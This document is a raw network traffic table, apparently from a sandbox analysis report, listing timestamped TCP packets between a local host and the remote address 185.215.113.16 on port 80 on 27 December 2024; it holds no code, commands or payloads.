Dec 27, 2024 08:45:19.896831036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.896924019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.897038937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.897161007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.897872925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.897927046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.898005009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.898050070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.898736954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.898888111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.898935080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.899548054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.899682045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.900388002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.900434971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.900511026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.900548935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.901199102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.901319981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.902045965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.902086020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.902143002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.902179956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.902915001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.903039932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.903089046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.903733015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.903803110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.904609919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.904655933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.904721022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.904761076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.905435085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.905533075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.906255960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.906277895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.906380892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.907135963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.907181978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.907181978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.907216072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.907906055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.908035994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.908756971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.908806086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.908857107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.908895969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.909595966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.909710884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.909763098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.910412073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.910536051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.910578966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.911266088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.911427021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.911463976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.912086964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.912220001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.912261963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.913085938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.913252115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.913295031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.913804054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.913865089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.913975954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.914653063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.914777994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.914911032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.915508032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.915584087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.915628910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.916287899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.916409016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.916498899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.917146921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.917243004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.917283058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.917963028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.917992115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.918030024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.918950081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.919011116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.919091940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.919617891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.919722080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.919759989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.920475006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.920597076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.920640945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.921299934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.921413898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.922045946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.922139883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.922259092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.922302961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.922979116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.923119068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.923160076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.923844099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.923988104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.924057961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.924675941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.924810886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.924891949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.925487995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.925594091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.925642967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.926322937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.926457882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.926500082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.927208900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.927272081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.927328110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.927984953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.928101063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.928232908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.928834915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.928958893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.929011106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.929677010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.929794073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.929862022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.930552006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.930636883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.930679083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.931363106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.931392908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.931438923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.932189941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.932357073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.933060884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.933132887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.933144093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.933214903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.933870077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.933970928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.934021950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.934747934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.934938908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.934987068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.935540915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.935813904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.935856104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.936419964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.936512947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.937225103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.937227964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.937299013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.937339067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.938043118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.938158035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.938199997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.938889980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.939003944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.939047098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.939733982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.939852953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.939888000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:19.940526962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:19.990966082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.098347902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.098385096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.098450899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.098460913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.098535061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.099270105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.099329948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.099422932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.099464893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.100125074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.100192070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.100981951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.101027966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.101130009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.101176977 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.101938009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.101998091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.102267981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.102607012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.102720976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.102963924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.103446960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.103543997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.103591919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.104274035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.104406118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.105120897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.105166912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.105221033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.105262041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.105941057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.106076002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.106267929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.106802940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.106921911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.107609987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.107662916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.107733965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.107773066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.108530045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.108616114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.108664036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.109376907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.109493017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.110168934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.110215902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.110282898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.111000061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.111040115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.111083984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.111124039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.111812115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.111932039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.112654924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.112699986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.112759113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.113014936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.113485098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.113604069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.114270926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.114340067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.114419937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.115170002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.115216017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.115278006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.115323067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.116007090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.116082907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.116877079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.116925955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.116965055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.117006063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.117661953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.117775917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.118272066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.118527889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.118634939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.119363070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.119416952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.119473934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.119517088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.120260954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.120337009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.121025085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.121072054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.121138096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.121177912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.121855021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.121974945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.122270107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.122706890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.122812033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.123533964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.123581886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.123625994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.123667002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.124389887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.124521017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.125297070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.125324011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.125344038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.125375032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.126060963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.126178980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.126264095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.126916885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.127007961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.127728939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.127773046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.127844095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.127882004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.128617048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.128670931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.129407883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.129453897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.129506111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.129544020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.130234003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.130337954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.130381107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.131067991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.131180048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.131922007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.131968021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.132025957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.132067919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.132769108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.132890940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.133582115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.133626938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.133713007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.133754015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.134443998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.134507895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.134557009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.135276079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.135399103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.136095047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.136137009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.136214018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.136255980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.136970997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.137051105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.137762070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.137805939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.137882948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.137924910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.138629913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.138744116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.138787985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.139493942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.139584064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.140288115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.140333891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.140367985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.140405893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.141129971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.141238928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.141915083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.141958952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.389457941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.401103020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.509141922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.509227991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.509439945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.509519100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.509615898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.509753942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.520788908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.520853996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.520900965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.521140099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.521225929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.521264076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.522017002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.522120953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.522162914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:20.522810936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.522943020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:20.522991896 CET	49744	80	192.168.2.4	185.215.113.16
